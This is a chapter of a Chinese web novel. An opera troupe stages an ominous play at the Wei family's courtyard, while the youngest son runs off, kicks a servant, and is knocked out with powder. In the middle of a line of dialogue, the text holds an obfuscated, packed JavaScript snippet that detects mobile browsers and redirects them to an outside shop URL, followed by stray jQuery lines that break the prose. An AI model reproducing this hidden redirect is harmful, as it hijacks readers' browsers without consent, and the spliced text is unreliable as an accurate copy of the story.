南街搭了个戏台子,七八个女男手脚麻利,没日没夜地干着活。她们像个不知疲倦的白萝卜,把土地推平,种下坑,再竖起碗口大的竹木支架。
不过几天,一片空地已经干净平整,搭完高台,只等着长出嫩花儿角了。
戏台就搭在街尾。那地方本是卫家的院子,却不知怎的一直没修围墙。据街坊邻居谈起,卫夫人心善乐施,平日里却总郁郁寡欢。卫老爷就擅自做主撤了围墙,放上几个小玩意儿,任由附近人家的孩童过来嬉戏玩闹。这才多少驱散了些卫夫人院中的冷清之意。
如今要搭戏台,那些个玩具自然得挪走。怕砸到看热闹的小孩,班主便让人挑了些废弃的木材,在戏台外隔出了一道墙,算是划个界限。
三两个皮实小丫头你挨我挤围着墙缝,眼巴巴地看戏台。如今台上青丝绸缀,珠帘琳琅。红雕栏,白玉花,看得人眼花缭乱,满目羡慕。
修缮时,有几块雕花木板失手掉了,裂了个角。只是边角料,帮工的姨姨没当回事儿。她摸了摸小孩的头,随手送了出去。
几个小丫头如获至宝,珍惜地收了过来。你摸摸,我蹭蹭,稀罕得不得了。刚入手,巴掌大的精细雕花沉甸甸的。碎了的角透出墨黑的底色,不知道像什么木头,想来并不是常见的品种。
她们凑在一起商量了半天,谁也不想着私藏,一致决定放到秘密基地里。
但没过几天,怪事就发生了。
那板子不知怎的,自裂口处渗出了红黑驳杂的脏水,闻着一股子恶臭味儿。几个在一旁玩闹的小丫头不明所以,回家却都因为满身臭味被骂了一通,好一番收拾。
待第二日,几个胆大的丫头愤懑地再去瞧,那雕花木板已经没了踪影。不知是被黄鼠狼叼走,还是被人扔了。
也正是那天,戏台子完工了。
披红挂彩,锣鼓家什一应俱全。班子草草排练了几日,就迫不及待要粉墨登场。热场的小曲儿过去,正戏演的是《金桃恩》。这是个才编的新戏本,据说按流传于北地的奇闻改编。讲得是个姑娘成仙,阖家暴毙的美事。
是不是真的美事,实在不好说,仁者见仁。反正这戏开场时,总是次次爆满。痴女怨男,是非评说,都比不上实打实的金银满兜。
钱财在前头勾着,戏也就随着班子流传到了江南海北,竟也成了个不大不小的招牌。
到了卫家,这事儿便又奇了。她们请戏班子,指名道姓就是要演这出《金桃恩》。
说得是卫家三姑娘不日出嫁,卫夫人心中不舍,郁郁寡欢。点这出新奇热闹的戏,是为给夫人解闷,再添些喜气。可私下里,谁听了这理由心里都得犯嘀咕。说是出嫁的喜事,怎能点这种阖家暴毙的戏呢?
听完来人这乱七八糟的缘由,戏班子里的人面面相觑,都摸不着头脑。但掂量着她们带来的一袋沉甸甸的银钱,见多识广的班主老大姐面上和善,私下里指着鼻子嘱咐大伙闭嘴。
众人不敢多言。也是,声腔一开,唱完了戏,拿赏钱走人。谁管主人是咋想的呢?
话是这么说,私底下自然有的是人对八卦津津乐道。谈及这主人卫夫人,也真乃一奇人也。
明阳帝在位时期,风气开化。天子广开女户,女进士、女举人层出不穷。上面发了话,偏让女人参政经商。卫夫人得此良机,扶摇直上,一跃成为当地首屈一指的富户。
她取了个貌相佼佼的赘婿。设善堂,收才子,门下人才济济。如今年岁上来,膝下又是女男满堂,本就是一代传奇。
想来,她要做什么,也轮不到一帮外来俗人置喙。
正戏开台那日,街头巷尾热热闹闹的,人群都聚了起来。卫夫人不撵外人,任由过往行客围在矮木栏后观看。对孩童更是不加约束,还在空地摆了茶几条凳,堆上芝麻糖零嘴儿,由着大大小小的孩子们乌泱泱地围坐着。一边吃零嘴儿,一边仰着脖子瞧大戏,比过年都热闹。
卫夫人总算露面,在白纱围帐看台上自然落座。一身青衫绒肩,通体贵气。但脸色却着实算不上好。肤皮浮白,病气依依。好端端一个贵妇人,被这郁气衬得弱不胜衣。
她半倚靠在姥爷椅上,举着根细长的乌木烟杆,有一搭没一搭抽着。
生得白净秀气的年轻可人男子弯腰跪在她脚边伺候。男人穿着身松松垮垮的绒衣,堪堪挡住□□。白纱绕肩,透出大片雪肤。满眼孺慕倾心,耳语细声喃喃,竟比那戏台公子更貌盛,跟朵俏梨花儿似的。
光天化日之下,旁人只是多看了几眼,就礼貌移开视线。夫人不拘小节,自然并无人觉得不妥。倒是人群外围几个老掉皮的黄牙男人凑在一起指指点点,对着那小梨花鄙夷地唾了口浓痰,咕哝几句什么“不知廉耻”的陈词滥调。
台上,一个扮相苍白羸弱的书生男角正咿咿呀呀地唱着开场。说的是那负心郎是如何待外女一见倾心,心生悔意,行将退婚。
唱词文绉绉的,腔调倒是悠扬。卫夫人却瞧得意兴阑珊,烟嘴在齿间轻轻磕了磕,随意问:“怎么还没把朝春和祝生叫来?”
一身劲装的带刀侍卫低下头,她的声调沉稳,回道:“夫人,祝生小少爷闹着要找青云小姐呢。”
“胡闹。青云不日出嫁,怎能由着他任性?”卫夫人皱起眉,一丝怒气才出,便蓦地捂唇轻咳几声。
跪在脚下的侍男极有眼色,立刻从袖中抽出一方洁白的丝帕,双手捧着,轻柔地递到卫夫人掌边,声音柔得能滴出水来:“主子,小少爷年岁尚小。孩子心性,贪玩些也是难免的。您莫要为此动气,伤了身子便不值了。”
卫夫人叹了口气,拍了拍那侍男柔软细腻的手腕,权作安抚。耳边的戏台哄闹到高处,惊呼声不绝于耳,恰是演到了娇娘梦桃仙。
——
而此刻,卫府之中,却是另一番景象。
卫祝生,卫夫人最小的儿子。如今不过七岁,正是猫憎狗嫌的年纪。
此刻他满脸怒容,一把拍开试图拉住他衣袖的碧衣侍男,怒道:“谁准你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17433643|195238||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跟着我的?滚开!别碰我!”
“少爷莫要为难虜了。夫人放了话,叫五小姐和您一起去戏台玩,可摆了许多甜嘴儿呢……”侍男被推得一个趔趄,却仍是低眉顺眼,好声好气哄道。
“我才不去!”卫祝生烦躁地打断他,小脸通红,怒道:“我都说了多少遍了,那金桃娘不是个好东西!现在最要紧的是找到我三姐,把那帮唱大戏的混球撵出去!娘……也真是疯了,居然真的想把三姐嫁给外面的丑男人!三姐她——”
“少爷慎言!”侍男脸色霎白,慌忙蹲下身,手急急凑到卫祝生嘴边,作势要捂住。侍男惶恐地说:“夫人要做的事,自然有她的道理。我们身处后院的男人,怎敢随意置喙?这话要是传出去,夫人,夫人是要发怒的啊……”
“切!”卫祝生被拦了太久,彻底是烦透了。他看着侍男那副唯唯诺诺的样子,火气直烧上头,想也没想,抬脚就狠狠踹在侍男柔软的小腹上!
眼见侍男“哎呦”惨呼一声,蓦地倒地蜷缩起来。卫祝生尤不解气,怒道:“你算什么东西,也敢拦着我?滚!”
骂完,卫祝生怒气冲冲转身就走。侍男趴在原地一动不动,不知是伤到了,还是不敢再追。卫祝生心知自己出不去正门就会被下人找到,径直在偏僻的后院绕了几圈,寻了个好翻的围墙。
这偏后院草木多年未曾修剪,郁郁葱葱的,不知为何居然有些寒意。卫祝生满脸烦闷,骂道:“府里怎么这么多虫子!真的是烦……你是谁?”
骂声戛然而止。偏后院多年前修了个不知名的荒神龛,如今早就没人上香打理,脏得很。
然而此刻,神龛表面却浮动着一阵古怪的流光,居然显出些许神秘的富丽堂皇。神龛前的阴影下躺着一个男人。卫祝生一瞧,发现那正是被自己踹躺下的侍男。
“你怎么又追过来了?”卫祝生狠狠皱起眉,心中那点不安被更强烈的厌恶取代,“烦不烦?再不滚,回去我就让阿娘把你撵走!”
“……卫小少爷。”侍男却不回答他,肩膀几不可查地抖了一下。他发颤着抬头,眉目间反而有一抹异样的阴鸷,“你不是害怕那桃金娘吗?我有办法。”
“谁说我害怕了!”卫祝生面上凶狠,实则早就色厉内荏。他虚张声势吼道,“说!要是给不出有用的,我就把你的腿打断!”
侍男低垂下头,眉眼小半隐没在阴影里,遮掩住几分厉色。他强忍着怒火,低声说:“少爷,你过来,我告诉你。”
听及此,卫祝生本能后腿半步。反应过来后,他不明所以,转而嫌弃道:“你怎么长得这么丑?我阿娘为什么把你留下。”说完,卫祝生强撑镇定向前几步,道:“说吧,你能怎么……”
话音刚落,侍男目光一转。他藏于身后的左手猛抬,细密的黄粉刹那间扑面而来!卫祝生大睁着眼,刚想惨叫,眼前却骤然一黑,瞬间没了意识。
半睡半醒间,卫祝生恍惚听到这侍男用古怪的声调唾骂一句:“呸,惹人烦的臭小鬼。”